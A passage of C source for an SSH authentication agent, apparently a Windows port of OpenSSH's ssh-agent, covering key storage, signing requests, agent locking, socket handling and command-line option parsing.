    DBG_MSG("Exit signal received...\n");

    cleanup_exit(0);

    /*
     * For make compiler happy only.
     */

    return TRUE;
  }

#endif

static void
close_socket(SocketEntry *e)
{
	close(e->fd);
	e->fd = -1;
	e->type = AUTH_UNUSED;
	buffer_free(&e->input);
	buffer_free(&e->output);
	buffer_free(&e->request);
}

static void
idtab_init(void)
{
	int i;

	for (i = 0; i <=2; i++) {
		TAILQ_INIT(&idtable[i].idlist);
		idtable[i].nentries = 0;
	}
}

/* return private key table for requested protocol version */
static Idtab *
idtab_lookup(int version)
{
	if (version < 1 || version > 2)
		fatal("internal error, bad protocol version %d", version);
	return &idtable[version];
}

static void
free_identity(Identity *id)
{
	key_free(id->key);
	free(id->provider);
	free(id->comment);
	free(id);
}

/* return matching private key for given public key */
static Identity *
lookup_identity(Key *key, int version)
{
	Identity *id;

	Idtab *tab = idtab_lookup(version);
	TAILQ_FOREACH(id, &tab->idlist, next) {
		if (key_equal(key, id->key))
			return (id);
	}
	return (NULL);
}

/* Check confirmation of keysign request */
static int
confirm_key(Identity *id)
{
	char *p;
	int ret = -1;

	p = key_fingerprint(id->key, SSH_FP_MD5, SSH_FP_HEX);
	if (ask_permission("Allow use of key %s?\nKey fingerprint %s.",
	    id->comment, p))
		ret = 0;
	free(p);

	return (ret);
}

/* send list of supported public keys to 'client' */
static void
process_request_identities(SocketEntry *e, int version)
{
	Idtab *tab = idtab_lookup(version);
	Identity *id;
	Buffer msg;

	buffer_init(&msg);
	buffer_put_char(&msg, (version == 1) ?
	    SSH_AGENT_RSA_IDENTITIES_ANSWER : SSH2_AGENT_IDENTITIES_ANSWER);
	buffer_put_int(&msg, tab->nentries);
	TAILQ_FOREACH(id, &tab->idlist, next) {
		if (id->key->type == KEY_RSA1) {
			buffer_put_int(&msg, BN_num_bits(id->key->rsa->n));
			buffer_put_bignum(&msg, id->key->rsa->e);
			buffer_put_bignum(&msg, id->key->rsa->n);
		} else {
			u_char *blob;
			u_int blen;
			key_to_blob(id->key, &blob, &blen);
			buffer_put_string(&msg, blob, blen);
			free(blob);
		}
		buffer_put_cstring(&msg, id->comment);
	}
	buffer_put_int(&e->output, buffer_len(&msg));
	buffer_append(&e->output, buffer_ptr(&msg), buffer_len(&msg));
	buffer_free(&msg);
}

/* ssh1 only */
static void
process_authentication_challenge1(SocketEntry *e)
{
	u_char buf[32], mdbuf[16], session_id[16];
	u_int response_type;
	BIGNUM *challenge;
	Identity *id;
	int i, len;
	Buffer msg;
	MD5_CTX md;
	Key *key;

	buffer_init(&msg);
	key = key_new(KEY_RSA1);
	if ((challenge = BN_new()) == NULL)
		fatal("process_authentication_challenge1: BN_new failed");

	(void) buffer_get_int(&e->request);			/* ignored */
	buffer_get_bignum(&e->request, key->rsa->e);
	buffer_get_bignum(&e->request, key->rsa->n);
	buffer_get_bignum(&e->request, challenge);

	/* Only protocol 1.1 is supported */
	if (buffer_len(&e->request) == 0)
		goto failure;
	buffer_get(&e->request, session_id, 16);
	response_type = buffer_get_int(&e->request);
	if (response_type != 1)
		goto failure;

	id = lookup_identity(key, 1);
	if (id != NULL && (!id->confirm || confirm_key(id) == 0)) {
		Key *private = id->key;
		/* Decrypt the challenge using the private key. */
		if (rsa_private_decrypt(challenge, challenge, private->rsa) <= 0)
			goto failure;

		/* The response is MD5 of decrypted challenge plus session id. */
		len = BN_num_bytes(challenge);
		if (len <= 0 || len > 32) {
			logit("process_authentication_challenge: bad challenge length %d", len);
			goto failure;
		}
		memset(buf, 0, 32);
		BN_bn2bin(challenge, buf + 32 - len);
		MD5_Init(&md);
		MD5_Update(&md, buf, 32);
		MD5_Update(&md, session_id, 16);
		MD5_Final(mdbuf, &md);

		/* Send the response. */
		buffer_put_char(&msg, SSH_AGENT_RSA_RESPONSE);
		for (i = 0; i < 16; i++)
			buffer_put_char(&msg, mdbuf[i]);
		goto send;
	}

failure:
	/* Unknown identity or protocol error.  Send failure. */
	buffer_put_char(&msg, SSH_AGENT_FAILURE);
send:
	buffer_put_int(&e->output, buffer_len(&msg));
	buffer_append(&e->output, buffer_ptr(&msg), buffer_len(&msg));
	key_free(key);
	BN_clear_free(challenge);
	buffer_free(&msg);
}

/* ssh2 only */
static void
process_sign_request2(SocketEntry *e)
{
	u_char *blob, *data, *signature = NULL;
	u_int blen, dlen, slen = 0;
	extern int datafellows;
	int odatafellows;
	int ok = -1, flags;
	Buffer msg;
	Key *key;

	datafellows = 0;

	blob = buffer_get_string(&e->request, &blen);
	data = buffer_get_string(&e->request, &dlen);

	flags = buffer_get_int(&e->request);
	odatafellows = datafellows;
	if (flags & SSH_AGENT_OLD_SIGNATURE)
		datafellows = SSH_BUG_SIGBLOB;

	key = key_from_blob(blob, blen);
	if (key != NULL) {
		Identity *id = lookup_identity(key, 2);
		if (id != NULL && (!id->confirm || confirm_key(id) == 0))
			ok = key_sign(id->key, &signature, &slen, data, dlen);
		key_free(key);
	}
	buffer_init(&msg);
	if (ok == 0) {
		buffer_put_char(&msg, SSH2_AGENT_SIGN_RESPONSE);
		buffer_put_string(&msg, signature, slen);
	} else {
		buffer_put_char(&msg, SSH_AGENT_FAILURE);
	}
	buffer_put_int(&e->output, buffer_len(&msg));
	buffer_append(&e->output, buffer_ptr(&msg),
	    buffer_len(&msg));
	buffer_free(&msg);
	free(data);
	free(blob);
	free(signature);
	datafellows = odatafellows;
}

/* shared */
static void
process_remove_identity(SocketEntry *e, int version)
{
	u_int blen, bits;
	int success = 0;
	Key *key = NULL;
	u_char *blob;

	switch (version) {
	case 1:
		key = key_new(KEY_RSA1);
		bits = buffer_get_int(&e->request);
		buffer_get_bignum(&e->request, key->rsa->e);
		buffer_get_bignum(&e->request, key->rsa->n);

		if (bits != key_size(key))
			logit("Warning: identity keysize mismatch: actual %u, announced %u",
			    key_size(key), bits);
		break;
	case 2:
		blob = buffer_get_string(&e->request, &blen);
		key = key_from_blob(blob, blen);
		free(blob);
		break;
	}
	if (key != NULL) {
		Identity *id = lookup_identity(key, version);
		if (id != NULL) {
			/*
			 * We have this key.  Free the old key.  Since we
			 * don't want to leave empty slots in the middle of
			 * the array, we actually free the key there and move
			 * all the entries between the empty slot and the end
			 * of the array.
			 */
			Idtab *tab = idtab_lookup(version);
			if (tab->nentries < 1)
				fatal("process_remove_identity: "
				    "internal error: tab->nentries %d",
				    tab->nentries);
			TAILQ_REMOVE(&tab->idlist, id, next);
			free_identity(id);
			tab->nentries--;
			success = 1;
		}
		key_free(key);
	}
	buffer_put_int(&e->output, 1);
	buffer_put_char(&e->output,
	    success ? SSH_AGENT_SUCCESS : SSH_AGENT_FAILURE);
}

static void
process_remove_all_identities(SocketEntry *e, int version)
{
	Idtab *tab = idtab_lookup(version);
	Identity *id;

	/* Loop over all identities and clear the keys. */
	for (id = TAILQ_FIRST(&tab->idlist); id;
	    id = TAILQ_FIRST(&tab->idlist)) {
		TAILQ_REMOVE(&tab->idlist, id, next);
		free_identity(id);
	}

	/* Mark that there are no identities. */
	tab->nentries = 0;

	/* Send success. */
	buffer_put_int(&e->output, 1);
	buffer_put_char(&e->output, SSH_AGENT_SUCCESS);
}

/* removes expired keys and returns number of seconds until the next expiry */
static time_t
reaper(void)
{
	time_t deadline = 0, now = monotime();
	Identity *id, *nxt;
	int version;
	Idtab *tab;

	for (version = 1; version < 3; version++) {
		tab = idtab_lookup(version);
		for (id = TAILQ_FIRST(&tab->idlist); id; id = nxt) {
			nxt = TAILQ_NEXT(id, next);
			if (id->death == 0)
				continue;
			if (now >= id->death) {
				debug("expiring key '%s'", id->comment);
				TAILQ_REMOVE(&tab->idlist, id, next);
				free_identity(id);
				tab->nentries--;
			} else
				deadline = (deadline == 0) ? id->death :
				    MIN(deadline, id->death);
		}
	}
	if (deadline == 0 || deadline <= now)
		return 0;
	else
		return (deadline - now);
}

static void
process_add_identity(SocketEntry *e, int version)
{
	Idtab *tab = idtab_lookup(version);
	Identity *id;
	int type, success = 0, confirm = 0;
	char *type_name, *comment;
	time_t death = 0;
	Key *k = NULL;
#ifdef OPENSSL_HAS_ECC
	BIGNUM *exponent;
	EC_POINT *q;
	char *curve;
#endif
	u_char *cert;
	u_int len;

	switch (version) {
	case 1:
		k = key_new_private(KEY_RSA1);
		(void) buffer_get_int(&e->request);		/* ignored */
		buffer_get_bignum(&e->request, k->rsa->n);
		buffer_get_bignum(&e->request, k->rsa->e);
		buffer_get_bignum(&e->request, k->rsa->d);
		buffer_get_bignum(&e->request, k->rsa->iqmp);

		/* SSH and SSL have p and q swapped */
		buffer_get_bignum(&e->request, k->rsa->q);	/* p */
		buffer_get_bignum(&e->request, k->rsa->p);	/* q */

		/* Generate additional parameters */
		rsa_generate_additional_parameters(k->rsa);
		break;
	case 2:
		type_name = buffer_get_string(&e->request, NULL);
		type = key_type_from_name(type_name);
		switch (type) {
		case KEY_DSA:
			k = key_new_private(type);
			buffer_get_bignum2(&e->request, k->dsa->p);
			buffer_get_bignum2(&e->request, k->dsa->q);
			buffer_get_bignum2(&e->request, k->dsa->g);
			buffer_get_bignum2(&e->request, k->dsa->pub_key);
			buffer_get_bignum2(&e->request, k->dsa->priv_key);
			break;
		case KEY_DSA_CERT_V00:
		case KEY_DSA_CERT:
			cert = buffer_get_string(&e->request, &len);
			if ((k = key_from_blob(cert, len)) == NULL)
				fatal("Certificate parse failed");
			free(cert);
			key_add_private(k);
			buffer_get_bignum2(&e->request, k->dsa->priv_key);
			break;
#ifdef OPENSSL_HAS_ECC
		case KEY_ECDSA:
			k = key_new_private(type);
			k->ecdsa_nid = key_ecdsa_nid_from_name(type_name);
			curve = buffer_get_string(&e->request, NULL);
			if (k->ecdsa_nid != key_curve_name_to_nid(curve))
				fatal("%s: curve names mismatch", __func__);
			free(curve);
			k->ecdsa = EC_KEY_new_by_curve_name(k->ecdsa_nid);
			if (k->ecdsa == NULL)
				fatal("%s: EC_KEY_new_by_curve_name failed",
				    __func__);
			q = EC_POINT_new(EC_KEY_get0_group(k->ecdsa));
			if (q == NULL)
				fatal("%s: BN_new failed", __func__);
			if ((exponent = BN_new()) == NULL)
				fatal("%s: BN_new failed", __func__);
			buffer_get_ecpoint(&e->request,
				EC_KEY_get0_group(k->ecdsa), q);
			buffer_get_bignum2(&e->request, exponent);
			if (EC_KEY_set_public_key(k->ecdsa, q) != 1)
				fatal("%s: EC_KEY_set_public_key failed",
				    __func__);
			if (EC_KEY_set_private_key(k->ecdsa, exponent) != 1)
				fatal("%s: EC_KEY_set_private_key failed",
				    __func__);
			if (key_ec_validate_public(EC_KEY_get0_group(k->ecdsa),
			    EC_KEY_get0_public_key(k->ecdsa)) != 0)
				fatal("%s: bad ECDSA public key", __func__);
			if (key_ec_validate_private(k->ecdsa) != 0)
				fatal("%s: bad ECDSA private key", __func__);
			BN_clear_free(exponent);
			EC_POINT_free(q);
			break;
		case KEY_ECDSA_CERT:
			cert = buffer_get_string(&e->request, &len);
			if ((k = key_from_blob(cert, len)) == NULL)
				fatal("Certificate parse failed");
			free(cert);
			key_add_private(k);
			if ((exponent = BN_new()) == NULL)
				fatal("%s: BN_new failed", __func__);
			buffer_get_bignum2(&e->request, exponent);
			if (EC_KEY_set_private_key(k->ecdsa, exponent) != 1)
				fatal("%s: EC_KEY_set_private_key failed",
				    __func__);
			if (key_ec_validate_public(EC_KEY_get0_group(k->ecdsa),
			    EC_KEY_get0_public_key(k->ecdsa)) != 0 ||
			    key_ec_validate_private(k->ecdsa) != 0)
				fatal("%s: bad ECDSA key", __func__);
			BN_clear_free(exponent);
			break;
#endif /* OPENSSL_HAS_ECC */
		case KEY_RSA:
			k = key_new_private(type);
			buffer_get_bignum2(&e->request, k->rsa->n);
			buffer_get_bignum2(&e->request, k->rsa->e);
			buffer_get_bignum2(&e->request, k->rsa->d);
			buffer_get_bignum2(&e->request, k->rsa->iqmp);
			buffer_get_bignum2(&e->request, k->rsa->p);
			buffer_get_bignum2(&e->request, k->rsa->q);

			/* Generate additional parameters */
			rsa_generate_additional_parameters(k->rsa);
			break;
		case KEY_RSA_CERT_V00:
		case KEY_RSA_CERT:
			cert = buffer_get_string(&e->request, &len);
			if ((k = key_from_blob(cert, len)) == NULL)
				fatal("Certificate parse failed");
			free(cert);
			key_add_private(k);
			buffer_get_bignum2(&e->request, k->rsa->d);
			buffer_get_bignum2(&e->request, k->rsa->iqmp);
			buffer_get_bignum2(&e->request, k->rsa->p);
			buffer_get_bignum2(&e->request, k->rsa->q);
			break;
		default:
			free(type_name);
			buffer_clear(&e->request);
			goto send;
		}
		free(type_name);
		break;
	}
	/* enable blinding */
	switch (k->type) {
	case KEY_RSA:
	case KEY_RSA_CERT_V00:
	case KEY_RSA_CERT:
	case KEY_RSA1:
		if (RSA_blinding_on(k->rsa, NULL) != 1) {
			error("process_add_identity: RSA_blinding_on failed");
			key_free(k);
			goto send;
		}
		break;
	}
	comment = buffer_get_string(&e->request, NULL);
	if (k == NULL) {
		free(comment);
		goto send;
	}
	while (buffer_len(&e->request)) {
		switch ((type = buffer_get_char(&e->request))) {
		case SSH_AGENT_CONSTRAIN_LIFETIME:
			death = monotime() + buffer_get_int(&e->request);
			break;
		case SSH_AGENT_CONSTRAIN_CONFIRM:
			confirm = 1;
			break;
		default:
			error("process_add_identity: "
			    "Unknown constraint type %d", type);
			free(comment);
			key_free(k);
			goto send;
		}
	}
	success = 1;
	if (lifetime && !death)
		death = monotime() + lifetime;
	if ((id = lookup_identity(k, version)) == NULL) {
		id = xcalloc(1, sizeof(Identity));
		id->key = k;
		TAILQ_INSERT_TAIL(&tab->idlist, id, next);
		/* Increment the number of identities. */
		tab->nentries++;
	} else {
		key_free(k);
		free(id->comment);
	}
	id->comment = comment;
	id->death = death;
	id->confirm = confirm;
send:
	buffer_put_int(&e->output, 1);
	buffer_put_char(&e->output,
	    success ? SSH_AGENT_SUCCESS : SSH_AGENT_FAILURE);
}

/* XXX todo: encrypt sensitive data with passphrase */
static void
process_lock_agent(SocketEntry *e, int lock)
{
	int success = 0;
	char *passwd;

	passwd = buffer_get_string(&e->request, NULL);
	if (locked && !lock && strcmp(passwd, lock_passwd) == 0) {
		locked = 0;
		memset(lock_passwd, 0, strlen(lock_passwd));
		free(lock_passwd);
		lock_passwd = NULL;
		success = 1;
	} else if (!locked && lock) {
		locked = 1;
		lock_passwd = xstrdup(passwd);
		success = 1;
	}
	memset(passwd, 0, strlen(passwd));
	free(passwd);

	buffer_put_int(&e->output, 1);
	buffer_put_char(&e->output,
	    success ? SSH_AGENT_SUCCESS : SSH_AGENT_FAILURE);
}

static void
no_identities(SocketEntry *e, u_int type)
{
	Buffer msg;

	buffer_init(&msg);
	buffer_put_char(&msg,
	    (type == SSH_AGENTC_REQUEST_RSA_IDENTITIES) ?
	    SSH_AGENT_RSA_IDENTITIES_ANSWER : SSH2_AGENT_IDENTITIES_ANSWER);
	buffer_put_int(&msg, 0);
	buffer_put_int(&e->output, buffer_len(&msg));
	buffer_append(&e->output, buffer_ptr(&msg), buffer_len(&msg));
	buffer_free(&msg);
}

#ifdef ENABLE_PKCS11
static void
process_add_smartcard_key(SocketEntry *e)
{
	char *provider = NULL, *pin;
	int i, type, version, count = 0, success = 0, confirm = 0;
	time_t death = 0;
	Key **keys = NULL, *k;
	Identity *id;
	Idtab *tab;

	provider = buffer_get_string(&e->request, NULL);
	pin = buffer_get_string(&e->request, NULL);

	while (buffer_len(&e->request)) {
		switch ((type = buffer_get_char(&e->request))) {
		case SSH_AGENT_CONSTRAIN_LIFETIME:
			death = monotime() + buffer_get_int(&e->request);
			break;
		case SSH_AGENT_CONSTRAIN_CONFIRM:
			confirm = 1;
			break;
		default:
			error("process_add_smartcard_key: "
			    "Unknown constraint type %d", type);
			goto send;
		}
	}
	if (lifetime && !death)
		death = monotime() + lifetime;

	count = pkcs11_add_provider(provider, pin, &keys);
	for (i = 0; i < count; i++) {
		k = keys[i];
		version = k->type == KEY_RSA1 ? 1 : 2;
		tab = idtab_lookup(version);
		if (lookup_identity(k, version) == NULL) {
			id = xcalloc(1, sizeof(Identity));
			id->key = k;
			id->provider = xstrdup(provider);
			id->comment = xstrdup(provider); /* XXX */
			id->death = death;
			id->confirm = confirm;
			TAILQ_INSERT_TAIL(&tab->idlist, id, next);
			tab->nentries++;
			success = 1;
		} else {
			key_free(k);
		}
		keys[i] = NULL;
	}
send:
	free(pin);
	free(provider);
	free(keys);
	buffer_put_int(&e->output, 1);
	buffer_put_char(&e->output,
	    success ? SSH_AGENT_SUCCESS : SSH_AGENT_FAILURE);
}

static void
process_remove_smartcard_key(SocketEntry *e)
{
	char *provider = NULL, *pin = NULL;
	int version, success = 0;
	Identity *id, *nxt;
	Idtab *tab;

	provider = buffer_get_string(&e->request, NULL);
	pin = buffer_get_string(&e->request, NULL);
	free(pin);

	for (version = 1; version < 3; version++) {
		tab = idtab_lookup(version);
		for (id = TAILQ_FIRST(&tab->idlist); id; id = nxt) {
			nxt = TAILQ_NEXT(id, next);
			if (!strcmp(provider, id->provider)) {
				TAILQ_REMOVE(&tab->idlist, id, next);
				free_identity(id);
				tab->nentries--;
			}
		}
	}
	if (pkcs11_del_provider(provider) == 0)
		success = 1;
	else
		error("process_remove_smartcard_key:"
		    " pkcs11_del_provider failed");
	free(provider);
	buffer_put_int(&e->output, 1);
	buffer_put_char(&e->output,
	    success ? SSH_AGENT_SUCCESS : SSH_AGENT_FAILURE);
}
#endif /* ENABLE_PKCS11 */

/* dispatch incoming messages */

static void
process_message(SocketEntry *e)
{
	u_int msg_len, type;
	u_char *cp;

	if (buffer_len(&e->input) < 5)
		return;		/* Incomplete message. */
	cp = buffer_ptr(&e->input);
	msg_len = get_u32(cp);
	if (msg_len > 256 * 1024) {
		close_socket(e);
		return;
	}
	if (buffer_len(&e->input) < msg_len + 4)
		return;

	/* move the current input to e->request */
	buffer_consume(&e->input, 4);
	buffer_clear(&e->request);
	buffer_append(&e->request, buffer_ptr(&e->input), msg_len);
	buffer_consume(&e->input, msg_len);
	type = buffer_get_char(&e->request);

	/* check wheter agent is locked */
	if (locked && type != SSH_AGENTC_UNLOCK) {
		buffer_clear(&e->request);
		switch (type) {
		case SSH_AGENTC_REQUEST_RSA_IDENTITIES:
		case SSH2_AGENTC_REQUEST_IDENTITIES:
			/* send empty lists */
			no_identities(e, type);
			break;
		default:
			/* send a fail message for all other request types */
			buffer_put_int(&e->output, 1);
			buffer_put_char(&e->output, SSH_AGENT_FAILURE);
		}
		return;
	}

	debug("type %d", type);
	switch (type) {
	case SSH_AGENTC_LOCK:
	case SSH_AGENTC_UNLOCK:
		process_lock_agent(e, type == SSH_AGENTC_LOCK);
		break;
	/* ssh1 */
	case SSH_AGENTC_RSA_CHALLENGE:
		process_authentication_challenge1(e);
		break;
	case SSH_AGENTC_REQUEST_RSA_IDENTITIES:
		process_request_identities(e, 1);
		break;
	case SSH_AGENTC_ADD_RSA_IDENTITY:
	case SSH_AGENTC_ADD_RSA_ID_CONSTRAINED:
		process_add_identity(e, 1);
		break;
	case SSH_AGENTC_REMOVE_RSA_IDENTITY:
		process_remove_identity(e, 1);
		break;
	case SSH_AGENTC_REMOVE_ALL_RSA_IDENTITIES:
		process_remove_all_identities(e, 1);
		break;
	/* ssh2 */
	case SSH2_AGENTC_SIGN_REQUEST:
		process_sign_request2(e);
		break;
	case SSH2_AGENTC_REQUEST_IDENTITIES:
		process_request_identities(e, 2);
		break;
	case SSH2_AGENTC_ADD_IDENTITY:
	case SSH2_AGENTC_ADD_ID_CONSTRAINED:
		process_add_identity(e, 2);
		break;
	case SSH2_AGENTC_REMOVE_IDENTITY:
		process_remove_identity(e, 2);
		break;
	case SSH2_AGENTC_REMOVE_ALL_IDENTITIES:
		process_remove_all_identities(e, 2);
		break;
#ifdef ENABLE_PKCS11
	case SSH_AGENTC_ADD_SMARTCARD_KEY:
	case SSH_AGENTC_ADD_SMARTCARD_KEY_CONSTRAINED:
		process_add_smartcard_key(e);
		break;
	case SSH_AGENTC_REMOVE_SMARTCARD_KEY:
		process_remove_smartcard_key(e);
		break;
#endif /* ENABLE_PKCS11 */
	default:
		/* Unknown message.  Respond with failure. */
		error("Unknown message %d", type);
		buffer_clear(&e->request);
		buffer_put_int(&e->output, 1);
		buffer_put_char(&e->output, SSH_AGENT_FAILURE);
		break;
	}
}

static void
new_socket(sock_type type, int fd)
{
	u_int i, old_alloc, new_alloc;

	set_nonblock(fd);

	if (fd > max_fd)
		max_fd = fd;

	for (i = 0; i < sockets_alloc; i++)
		if (sockets[i].type == AUTH_UNUSED) {
			sockets[i].fd = fd;
			buffer_init(&sockets[i].input);
			buffer_init(&sockets[i].output);
			buffer_init(&sockets[i].request);
			sockets[i].type = type;
			return;
		}
	old_alloc = sockets_alloc;
	new_alloc = sockets_alloc + 10;
	sockets = xrealloc(sockets, new_alloc, sizeof(sockets[0]));
	for (i = old_alloc; i < new_alloc; i++)
		sockets[i].type = AUTH_UNUSED;
	sockets_alloc = new_alloc;
	sockets[old_alloc].fd = fd;
	buffer_init(&sockets[old_alloc].input);
	buffer_init(&sockets[old_alloc].output);
	buffer_init(&sockets[old_alloc].request);
	sockets[old_alloc].type = type;
}

static int
prepare_select(fd_set **fdrp, fd_set **fdwp, int *fdl, u_int *nallocp,
    struct timeval **tvpp)
{
	u_int i, sz;
	int n = 0;
	static struct timeval tv;
	time_t deadline;

	for (i = 0; i < sockets_alloc; i++) {
		switch (sockets[i].type) {
		case AUTH_SOCKET:
		case AUTH_CONNECTION:
			n = MAX(n, sockets[i].fd);
			break;
		case AUTH_UNUSED:
			break;
		default:
			fatal("Unknown socket type %d", sockets[i].type);
			break;
		}
	}

	sz = howmany(n+1, NFDBITS) * sizeof(fd_mask);
	if (*fdrp == NULL || sz > *nallocp) {
		free(*fdrp);
		free(*fdwp);
		*fdrp = xmalloc(sz);
		*fdwp = xmalloc(sz);
		*nallocp = sz;
	}
	if (n < *fdl)
		debug("XXX shrink: %d < %d", n, *fdl);
	*fdl = n;
	memset(*fdrp, 0, sz);
	memset(*fdwp, 0, sz);

	for (i = 0; i < sockets_alloc; i++) {
		switch (sockets[i].type) {
		case AUTH_SOCKET:
		case AUTH_CONNECTION:
			FD_SET(sockets[i].fd, *fdrp);
			if (buffer_len(&sockets[i].output) > 0)
				FD_SET(sockets[i].fd, *fdwp);
			break;
		default:
			break;
		}
	}
	deadline = reaper();
	if (parent_alive_interval != 0)
		deadline = (deadline == 0) ? parent_alive_interval :
		    MIN(deadline, parent_alive_interval);
	if (deadline == 0) {
		*tvpp = NULL;
	} else {
		tv.tv_sec = deadline;
		tv.tv_usec = 0;
		*tvpp = &tv;
	}
	return (1);
}

static void
after_select(fd_set *readset, fd_set *writeset)
{
	struct sockaddr_un sunaddr;
	socklen_t slen;
	char buf[1024];
	int len, sock;
	u_int i, orig_alloc;
	uid_t euid;
	gid_t egid;

	for (i = 0, orig_alloc = sockets_alloc; i < orig_alloc; i++)
		switch (sockets[i].type) {
		case AUTH_UNUSED:
			break;
		case AUTH_SOCKET:
			if (FD_ISSET(sockets[i].fd, readset)) {

        #ifdef WIN32_FIXME

        sunaddr.sun_family = AF_UNIX;

        #endif

				slen = sizeof(sunaddr);
				sock = accept(sockets[i].fd,
				    (struct sockaddr *)&sunaddr, &slen);
				if (sock < 0) {
					error("accept from AUTH_SOCKET: %s",
					    strerror(errno));
					break;
				}
				if (getpeereid(sock, &euid, &egid) < 0) {
					error("getpeereid %d failed: %s",
					    sock, strerror(errno));
					close(sock);
					break;
				}
				if ((euid != 0) && (getuid() != euid)) {
					error("uid mismatch: "
					    "peer euid %u != uid %u",
					    (u_int) euid, (u_int) getuid());
					close(sock);
					break;
				}
				new_socket(AUTH_CONNECTION, sock);
			}
			break;
		case AUTH_CONNECTION:
			if (buffer_len(&sockets[i].output) > 0 &&
			    FD_ISSET(sockets[i].fd, writeset)) {
				len = write(sockets[i].fd,
				    buffer_ptr(&sockets[i].output),
				    buffer_len(&sockets[i].output));
				if (len == -1 && (errno == EAGAIN ||
				    errno == EWOULDBLOCK ||
				    errno == EINTR))
					continue;
				if (len <= 0) {
					close_socket(&sockets[i]);
					break;
				}
				buffer_consume(&sockets[i].output, len);
			}
			if (FD_ISSET(sockets[i].fd, readset)) {
				len = read(sockets[i].fd, buf, sizeof(buf));
				if (len == -1 && (errno == EAGAIN ||
				    errno == EWOULDBLOCK ||
				    errno == EINTR))
					continue;
				if (len <= 0) {
					close_socket(&sockets[i]);
					break;
				}
				buffer_append(&sockets[i].input, buf, len);
				process_message(&sockets[i]);
			}
			break;
		default:
			fatal("Unknown type %d", sockets[i].type);
		}
}

static void
cleanup_socket(void)
{
  #ifdef WIN32_FIXME

  close(Socket);

  CleanUpSocketFiles();

  #endif

	if (socket_name[0])
		unlink(socket_name);
	if (socket_dir[0])
		rmdir(socket_dir);
}

void
cleanup_exit(int i)
{
	cleanup_socket();
	_exit(i);
}

/*ARGSUSED*/
static void
cleanup_handler(int sig)
{
	cleanup_socket();
#ifdef ENABLE_PKCS11
	pkcs11_terminate();
#endif
	_exit(2);
}

static void
check_parent_exists(void)
{
#ifndef WIN32_FIXME
	/*
	 * If our parent has exited then getppid() will return (pid_t)1,
	 * so testing for that should be safe.
	 */
	if (parent_pid != -1 && getppid() != parent_pid) {
		/* printf("Parent has died - Authentication agent exiting.\n"); */
		cleanup_socket();
		_exit(2);
	}
#endif
}

static void
usage(void)
{
	fprintf(stderr, "usage: %s [options] [command [arg ...]]\n",
	    __progname);
	fprintf(stderr, "Options:\n");
	fprintf(stderr, "  -c          Generate C-shell commands on stdout.\n");
	fprintf(stderr, "  -s          Generate Bourne shell commands on stdout.\n");
	fprintf(stderr, "  -k          Kill the current agent.\n");
	fprintf(stderr, "  -d          Debug mode.\n");
	fprintf(stderr, "  -a socket   Bind agent socket to given name.\n");
	fprintf(stderr, "  -t life     Default identity lifetime (seconds).\n");
	exit(1);
}

int
main(int ac, char **av)
{
	int c_flag = 0, d_flag = 0, k_flag = 0, s_flag = 0;
	int sock, fd, ch, result, saved_errno;
	u_int nalloc;
	char *shell, *format, *pidstr, *agentsocket = NULL;
	fd_set *readsetp = NULL, *writesetp = NULL;
	struct sockaddr_un sunaddr;
#ifdef HAVE_SETRLIMIT
	struct rlimit rlim;
#endif
	int prev_mask;
	extern int optind;
	extern char *optarg;
	pid_t pid;
	char pidstrbuf[1 + 3 * sizeof pid];
	struct timeval *tvp = NULL;
	size_t len;

  #ifdef WIN32_FIXME

    /*
     * Save oryginal arguments for forked child.
     */

    ArgsCount  = ac;
    ArgsVector = av;

    int f_flag = 0;

    /*
     * Random numbers needed to generate cokie.
     */

    srand(time(0));

    /*
     * Handler for clean up socket file.
     */

    SetConsoleCtrlHandler(CtrlHandlerRoutine, TRUE);

    /*
     * Allocate stdio inside our wrapper function.
     */

    allocate_standard_descriptor(STDIN_FILENO);
    allocate_standard_descriptor(STDOUT_FILENO);
    allocate_standard_descriptor(STDERR_FILENO);

  #endif

	/* Ensure that fds 0, 1 and 2 are open or directed to /dev/null */
	sanitise_stdfd();

	/* drop */
	setegid(getgid());
	setgid(getgid());

#if defined(HAVE_PRCTL) && defined(PR_SET_DUMPABLE)
	/* Disable ptrace on Linux without sgid bit */
	prctl(PR_SET_DUMPABLE, 0);
#endif

	OpenSSL_add_all_algorithms();

	__progname = ssh_get_progname(av[0]);
	init_pathnames();
	seed_rng();

	while ((ch = getopt(ac, av, "cdksa:t:f")) != -1) {
		switch (ch) {
		case 'c':
			if (s_flag)
				usage();
			c_flag++;
			break;
		case 'k':
			k_flag++;
			break;
		case 's':
			if (c_flag)
				usage();
			s_flag++;
			break;
		case 'd':
			if (d_flag)
				usage();
			d_flag++;
			break;
		case 'a':
			agentsocket = optarg;
			break;
		case 't':
			if ((lifetime = convtime(optarg)) == -1) {
				fprintf(stderr, "Invalid lifetime\n");
				usage();
			}
			break;

    #ifdef WIN32_FIXME

    /*
     * -f means forked process. Used to difference parent and childs.
     */

    case 'f':
    {
      DBG_MSG("Hello from children [PID = %u]...\n", GetCurrentProcessId());

      InsideChild = 1;

      f_flag++;

      break;
    }

    #endif

		default:
			usage();
		}
	}
	ac -= optind;
	av += optind;

	if (ac > 0 && (c_flag || k_flag || s_flag || d_flag
  #ifdef WIN32_FIXME
         || f_flag
  #endif
  ))

		usage();

	if (ac == 0 && !c_flag && !s_flag) {
		shell = getenv("SHELL");
		if (shell != NULL && (len = strlen(shell)) > 2 &&
		    strncmp(shell + len - 3, "csh", 3) == 0)
			c_flag = 1;
	}
	if (k_flag) {
		const char *errstr = NULL;

		pidstr = getenv(SSH_AGENTPID_ENV_NAME);
		if (pidstr == NULL) {
			fprintf(stderr, "%s not set, cannot kill agent\n",
			    SSH_AGENTPID_ENV_NAME);
			exit(1);
		}
		pid = (int)strtonum(pidstr, 2, INT_MAX, &errstr);
		if (errstr) {
			fprintf(stderr,
			    "%s=\"%s\", which is not a good PID: %s\n",
			    SSH_AGENTPID_ENV_NAME, pidstr, errstr);
			exit(1);
		}
		if (kill(pid, SIGTERM) == -1) {
			perror("kill");
			exit(1);
		}
		format = c_flag ? "unsetenv %s;\n" : "unset %s;\n";
		printf(format, SSH_AUTHSOCKET_ENV_NAME);
		printf(format, SSH_AGENTPID_ENV_NAME);
		printf("echo Agent pid %ld killed;\n", (long)pid);
		exit(0);
	}
	parent_pid = getpid();

	if (agentsocket == NULL) {

#ifdef WIN32_FIXME

    /*
     * On Windows we store sockets in "$HOME/.ssh/".
     */

     GetSocketDir(socket_dir, sizeof(socket_dir));

     snprintf(socket_name, sizeof socket_name, "%s/agent-%d.%d",
                  socket_dir, rand(), parent_pid);

#else

		/* Create private directory for agent socket */
		mktemp_proto(socket_dir, sizeof(socket_dir));
		if (mkdtemp(socket_dir) == NULL) {
